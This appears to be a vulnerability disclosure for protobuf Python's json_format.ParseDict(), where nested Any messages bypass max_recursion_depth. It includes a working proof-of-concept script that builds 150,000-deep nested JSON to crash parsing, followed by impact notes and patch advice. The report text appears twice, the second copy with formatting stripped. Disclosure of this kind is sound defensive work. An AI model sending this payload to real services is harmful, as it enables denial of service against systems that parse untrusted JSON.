1. Summary
A denial-of-service (DoS) vulnerability exists in google.protobuf.json_format.ParseDict() in Python, where the max_recursion_depth limit can be bypassed when parsing nested google.protobuf.Any messages.
Due to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested Any structures that bypass the intended recursion limit, eventually exhausting Python’s recursion stack and causing a RecursionError.
2. Description
json_format.ParseDict() enforces a recursion depth limit via the max_recursion_depth parameter.
This limit is implemented by incrementing and checking a recursion depth counter inside ConvertMessage().
However, when parsing google.protobuf.Any, the internal helper _ConvertAnyMessage() processes the embedded message without incrementing or decrementing the recursion depth counter. As a result, nesting Any messages inside other Any messages allows unbounded recursion while bypassing the configured depth limit.
If sufficient nesting is provided, Python’s own recursion limit is exceeded, resulting in a RecursionError instead of the expected ParseError.
2.1 Expected Behavior
json_format.ParseDict() is called
ConvertMessage() increments recursion_depth
- If
recursion_depth > max_recursion_depth, a ParseError is raised
- Parsing terminates safely
2.2 Actual Behavior / Root Cause
_ConvertAnyMessage() parses the embedded message without updating recursion_depth
- Nested
Any messages therefore do not contribute to the depth counter
- Repeated
Any nesting bypasses max_recursion_depth
- Parsing continues until Python’s recursion limit is exceeded
3. Proof of Concept (PoC)
Reproduction Code
#!/usr/bin/env python3
from google.protobufimport json_format
from google.protobuf.any_pb2importAny
defmake_nested_any(depth: int):
# Build JSON for an Any message that recursively contains another Any
root = {"@type":"type.googleapis.com/google.protobuf.Any","value": {}}
cur = root
for _inrange(depth -1):
nxt = {"@type":"type.googleapis.com/google.protobuf.Any","value": {}}
cur["value"] = nxt
cur = nxt
return root
defmain():
depth =150000
max_depth =5
msg =Any()
data = make_nested_any(depth)
json_format.ParseDict(data, msg, max_recursion_depth=max_depth)
print(
f"Parsed Any depth={depth} with max_recursion_depth={max_depth} (bypass)."
)
if __name__ =="__main__":
main()
Execution
python3 poc/python_any_depth_poc.py
Result
Traceback (most recentcalllast):
...
RecursionError: maximum recursion depth exceeded
Despite max_recursion_depth=5, parsing does not raise a ParseError.
Instead, deep nesting of Any messages bypasses the recursion limit and causes Python’s recursion stack to overflow.
4. Impact
- Services that parse untrusted JSON input containing
Any may be vulnerable to denial of service
- Attackers can bypass the intended recursion limit using nested
Any messages
- Deep nesting leads to
RecursionError, causing request failure
- If the exception is not properly handled, this may crash the process or disrupt service availability
5. Patch Recommendation
One of the following mitigations is recommended:
- Increment and decrement
recursion_depth when entering and exiting _ConvertAnyMessage()
- Alternatively, route parsing of embedded
Any messages through the standard ConvertMessage() path
- Ensure that
max_recursion_depth is consistently enforced for all message types, including nested Any
1. Summary
A denial-of-service (DoS) vulnerability exists in
google.protobuf.json_format.ParseDict()in Python, where themax_recursion_depthlimit can be bypassed when parsing nestedgoogle.protobuf.Anymessages.Due to missing recursion depth accounting inside the internal Any-handling logic, an attacker can supply deeply nested
Anystructures that bypass the intended recursion limit, eventually exhausting Python’s recursion stack and causing aRecursionError.2. Description
json_format.ParseDict()enforces a recursion depth limit via themax_recursion_depthparameter.This limit is implemented by incrementing and checking a recursion depth counter inside
ConvertMessage().However, when parsing
google.protobuf.Any, the internal helper_ConvertAnyMessage()processes the embedded message without incrementing or decrementing the recursion depth counter. As a result, nestingAnymessages inside otherAnymessages allows unbounded recursion while bypassing the configured depth limit.If sufficient nesting is provided, Python’s own recursion limit is exceeded, resulting in a
RecursionErrorinstead of the expectedParseError.2.1 Expected Behavior
json_format.ParseDict()is calledConvertMessage()incrementsrecursion_depthrecursion_depth > max_recursion_depth, aParseErroris raised2.2 Actual Behavior / Root Cause
_ConvertAnyMessage()parses the embedded message without updatingrecursion_depthAnymessages therefore do not contribute to the depth counterAnynesting bypassesmax_recursion_depth3. Proof of Concept (PoC)
Reproduction Code
Execution
Result
Despite
max_recursion_depth=5, parsing does not raise aParseError.Instead, deep nesting of
Anymessages bypasses the recursion limit and causes Python’s recursion stack to overflow.4. Impact
Anymay be vulnerable to denial of serviceAnymessagesRecursionError, causing request failure5. Patch Recommendation
One of the following mitigations is recommended:
recursion_depthwhen entering and exiting_ConvertAnyMessage()Anymessages through the standardConvertMessage()pathmax_recursion_depthis consistently enforced for all message types, including nestedAny